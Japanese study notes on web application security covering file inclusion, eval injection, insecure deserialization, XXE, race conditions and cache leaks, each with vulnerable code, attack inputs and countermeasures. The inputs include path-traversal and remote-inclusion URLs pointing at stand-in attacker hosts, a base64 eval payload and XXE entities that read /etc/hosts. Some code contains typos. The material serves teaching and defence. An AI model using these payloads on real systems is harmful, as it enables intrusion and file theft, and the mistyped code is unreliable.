4.13 インクルードにまつわる問題
ファイルインクルード攻撃
- プログラムの中で他のファイルをincludeしている場合、攻撃者が意図的にそのファイル名を修正して不正にファイルを処理させる攻撃
- 例えばphpではinclude 文により他のファイルをincludeすることが可能。
- URLの引数でincludeするファイル名を指定する場合、意図的に引数を変更して不正にファイルを処理する。
ファイルインクルードの脆弱性(file-include-vulnerability)
実行例
<body>
<?php
$header = $_GET['header'];
require_once($header . '.php');
?>
本文【省略】
</body>
期待する入力
header=spring
↓
require_once('spring.php');
攻撃したい入力
header=../../../../../etc/hosts%00
↓
require_once('../../../../../etc/hosts%00.php');
# .php以降はNULL以降の文字として無視される
etc/hosts以下が表示されてしまう.
リモートファイルインクルード(RFI)攻撃
<body>
<?php
$header = $_GET['header'];
require_once($header . '.php');
?>
本文【省略】
</body>
攻撃スクリプト
これを外部からインクルードさせてやれば攻撃成功
<?php phpinfo(); ?>
攻撃用のヘッダ
header=http://trap.example.com/4d/4d-900.txt?
↓
header=http://trap.example.com/4d/4d-900.txt?.php
# .php以降はクエリとして解釈されるので無視
# http://trap.example.com/4d/4d-900.txt を流し込むことができる
脆弱性がうまれる原因
- includeファイル名を外部から指定することができる
- includeすべきファイル名かどうかの妥当性をチェックしていない
対策
- 外部からファイル名を指定する仕様を避ける
- ファイル名を英数字に限定する
- PHP5.2.0以降ではRFIはデフォルトで禁止されている.
- 以下のように設定する
allow_url_include = Off
セッション保存ファイルの悪用
RFIだけでなくても任意スクリプトを実行できる場合がある
- ファイルのアップロードが可能なサイト
- セッション変数の保存先としてファイルを使用しているサイト
ただし,ファイル名を推測できる場合に限る.
セッション変数を使った任意スクリプト実行
<?php
session_start();
$_SESSION['answer'] = $_POST['answer'];
# セッション保存先を予測する
$session_filename = session_save_path() . '/sess_' . session_id();
?>
<body>
質問を受け付けました<br>
セッションファイル名<br>
<?php echo $session_filename; ?><br>
<a href="4d-001.php?header=<?php // ヘッダに保存ファイルを流しこむ
echo $session_filename; ?>%00">
ファイルインクルード攻撃</a>
</body>
セッション格納先やファイルアップロード時には注意しよう.
ファイル名は乱数で保存するとか, アップロードしたファイルはローカルスコープのみで使うようにするとかしておく?
実例
確認されているだけでも攻撃が毎分1.5件,PHPアプリ狙う攻撃が大量無差別型に
攻撃者はあらかじめ攻撃用のサーバー「attack.example.net」に悪質なコードを記述したファイル「evil.txt」を配置しておく。
そして,以下の様なURLを指定して標的とするサーバー「victim.example.com」にアクセスする。
この例では,標的サーバー「victim.example.com」でWebアプリケーション「index.php」が呼び出される際に,攻撃用サーバー「attack.example.net」上のファイル「evil.txt」を読み込ませ,evil.txtに記述したコードを実行させる。このevil.txtに記述するコードの内容を変えることで,攻撃者は情報の窃取やWebページの改ざん,バックドアの設置,スパム・メールの送信など様々な攻撃を仕掛ける。
http://victim.example.com/index.php?file=http://attack.example.net/evil.txt
fileに読み込ませて絨毯爆撃する.
確認されているだけでも攻撃が毎分1.5件,PHPアプリ狙う攻撃が大量無差別型に
https://tech.nikkeibp.co.jp/it/article/COLUMN/20081016/317141/
4.14 構造化データ読み込みにまつわる問題
JsonとかXMLとかデータを使う際にシリアライズとかデシリアライズをする.その隙を狙う攻撃のこと.
4.14.1 evelインジェクション
JavaScriptのデーターフォーマットをであるJSON (JavaScript Object Notation)に不正なコードを挿入し想定外の動作を誘導する攻撃手法。
原因
- Jsonを使っている
- evalを使っている
対策
- evalに相当する機能を使わない
- evalの引数には外部からのパラメータを含まない
- evalに与える外部からのパラメータを英数字に限定

攻撃例
<?php
$e = var_export(array(1,2,3), true) // 配列をインポートする
?>
<?php
$a = array(1, 2, 3);
$ex = var_export($a, true);
$b64 = base64_encode($ex);
?>
<body>
<form action="4e-002.php" method="GET">
<input type="hidden" name="data" value="<?php echo htmlspecialchars($b64) ?>">
<input type="submit" value="次へ">
</form>
</body>
<?php
$data = $_GET['data']; // ここでdataパラメータを取得する
$str = base64_decode($data); // デコード
eval('$a = ' . $str . ';'); // 値をaにいれる
?>
<body>
<?php var_dump($a); ?>
</body>
dataパラメータに攻撃文を入れる
<?php
$data = $_GET['data']; // ここでdataパラメータを取得する
$str = base64_decode($data); // デコード
eval('$a = ' . $str . ';'); // 値をaにいれる
?>
<body>
<?php var_dump($a); ?>
</body>
任意の文字列をBASE64でエンコードしていれればいい
$a = 0; phpinfo()
↓ BASE64でエンコ
MDsgcGhwaW5mbygp
↓ dataに格納
http://example.jp/4e/4e-002.php?data=MDsgcGhwaW5mbygp
対策
- evalを使わない
- 代替 json_encode/json_decode
- 代替 serialize/unserialize (次の節ではこれの攻撃例を示す)
- 代替 implode/explode
- evalの引数に外部からのパラメータを指定しない
- hiddenパラメータで外部から指定するのはよくない
- セッション変数で受け渡しすればいい(ただしファイルやDB経由で流し込まれる危険性は回避できない)
- evalの与える外部パラメータを英数字に制限
-
;
,
とか使えないようにすればいい
-
4.14.2 安全でないserialize
徳丸本がわかりにくかったので別のサイトを参考にしました.
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct() // デストラクタでキャッシュファイルを削除する
{
$file = "/var/www/cache/tmp/{$this->cache_file}"; // ファイルを指定
if (file_exists($file)) @unlink($file); // 削除する
}
}
unserialize($_GET['data'])
というコードが合った場合...
「this->cache_fileに任意のファイルを指定したExample1クラス」
↓ シリアライズ
「hoge」
↓
?data=hoge
ポイント
- __destruct()は明示的に宣言しなくても呼ばれる可能性がある
- 勝手なデータを入れて勝手にデストラクタを呼ばれる可能性がある.
- デシリアライズされるデータが任意に注入できないかに気をつける.
実際の事例
ログイン用のクッキーをそのままデシリアライズしてしまった例
/**
* get remember login cookie
*
* @return array
*/
protected function getRememberLoginCookie()
{
$key = md5(sfContext::getInstance()->getRequest()->getHost());
if ($value = sfContext::getInstance()->getRequest()->getCookie($key))
{
$value = unserialize(base64_decode($value)); // デコードしたログインのキャッシュをそのままデシリアライズ
return $value;
}
}
JVN#69986880 OpenPNE において任意の PHP コードが実行される脆弱性
http://jvn.jp/jp/JVN69986880/
4.14.3 XML外部実体参照 (XXE)
XML External Entityのことらしい
サンプルスクリプト
<body>
XMLファイルを指定してください<br>
<form action="4e-021.php" method="post" enctype="multipart/form-data">
<input type="file" name="user" />
<input type="submit"/>
</form>
</body>
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent; // name取得
$addr = $doc->getElementsByTagName('address')->item(0)->textContent; // address取得
?><body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
<?xml version="1.0" encoding="utf-8" ?>
<user>
<name>安全太郎</name>
<address>東京都港区</address>
</user>
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY hosts SYSTEM "/etc/hosts">
]>
<user>
<name>安全太郎</name>
<address>&hosts;</address>
</user>
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [ // 任意コードを含んでいる
<!ENTITY schedule SYSTEM "http://internal.example.jp/">
]>
<user>
<name>徳丸浩</name>
<address>&schedule;</address>
</user>
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [ // 任意コードを含んでいる
<!ENTITY schedule SYSTEM "php://filter/read=convert.base64-encode/resource=http://internal.example.jp/">
]>
<user>
<name>徳丸浩</name>
<address>&schedule;</address>
</user>
原因
XMLの外部実体参照はXMLの機能として定義されている.
悪用されるほうが悪い.
対策
- XMLの代わりにJSONを使う
- libxml2のv2.9以降を用いる (PHP)の場合
- libxml_diable_entity_loader(true)を宣言して外部実体参照を明示的に禁止する
共有資源やキャッシュに関する問題
サンプルコード
import java.io.*;
import javax.servlet.http.*;
import org.apache.commons.lang3.StringEscapeUtils;
public class C4f_001 extends HttpServlet {
String name; // インスタンス変数として宣言 // nameはインスタンスの共有変数
protected void doGet(HttpServletRequest req,
HttpServletResponse res)
throws IOException {
PrintWriter out = res.getWriter();
out.print("<body>name=");
try {
name = req.getParameter("name"); // クエリストリングname
Thread.sleep(3000); // 3秒待つ(時間のかかる処理のつもり)
out.print(StringEscapeUtils.escapeHtml4(name)); // ユーザ名の表示
// out.print(name); // ユーザ名の表示
} catch (InterruptedException e) {
out.println(e);
}
out.println("</body>");
out.close();
}
}
やばいところ
- 変数nameが共有
- nameの排他処理がない
対策
- 共有資源を使用しない
- 排他制御を行う
try {
String name = req.getParameter();
Thread.sleep(3000);
out.pring(escapeHTML(name));
} catch (InterruptedException e) {
out.println(e);
}
try {
synchronized(this) {
name = req.getParameter("name");
Thread.sleep(3000);
out.pring(escapeHTML(name));
}
} catch (InterruptedException e) {
out.println(e);
}
ただしこちらの例ではサーブレットが3秒ごとにしか更新しなくなるDoS脆弱性が発生する.
並行処理やマルチスレッドのところでうまい設計しないとだめ.
これ以上は分散処理の分野になる.
4.15.2キャッシュからの情報漏えい
キャッシュは便利だけど気をつけないといけないよ
ゲームでいうとユーザデータとサーバ情報に似てる.
アプリケーション側のキャッシュ制御不備
<body><?php
session_cache_limiter('public'); // まずい
session_cache_expire(1); // まずい
session_start();
if (empty($_SESSION['user'])) {
die("ログインしていません");
}
echo "ユーザ {$_SESSION['user']} でログイン中です";
?></body>
キャッシュ設定がpublicになっているのでnginx側で以下の設定になる.
Cache-Control: public, max-age=session.cache_expire=60
# すべてのキャッシュを保存,キャッシュの保存期間は60秒
対策
Cache-Control: private, no-store, no-cache, must-revalidate
Pragma: no-cache // HTTP/1.1の伝統的な記法
sesssion_cache_limiter('nocache');
キャッシュサーバの設定不備
location /4f3/ {
proxy_cache zone1;
proxy_cache_varid 200 302 180s;
proxy_ignore_headers Cache-Contorol Expires Set-Cookie; // レスポンスヘッダのキャッシュ設定を無視してしまう
proxy_set_header Host $host;
proxy_pass http://localhost:88/4f/;
}
対策
- nginxの場合は該当行の削除
- アプリケーションに仕様書を読んで,適切なキャッシュ設定にする
別解 URLに乱数を混入させる
http://example.jp/mypage.php?rnd=hogehoge
アクセス毎に乱数が振られるのでキャッシュが効かなくなる.
完全にキャッシュの無駄遣いになるし,この乱数を知られてしまったら逆にキャッシュがバレるリスクもある.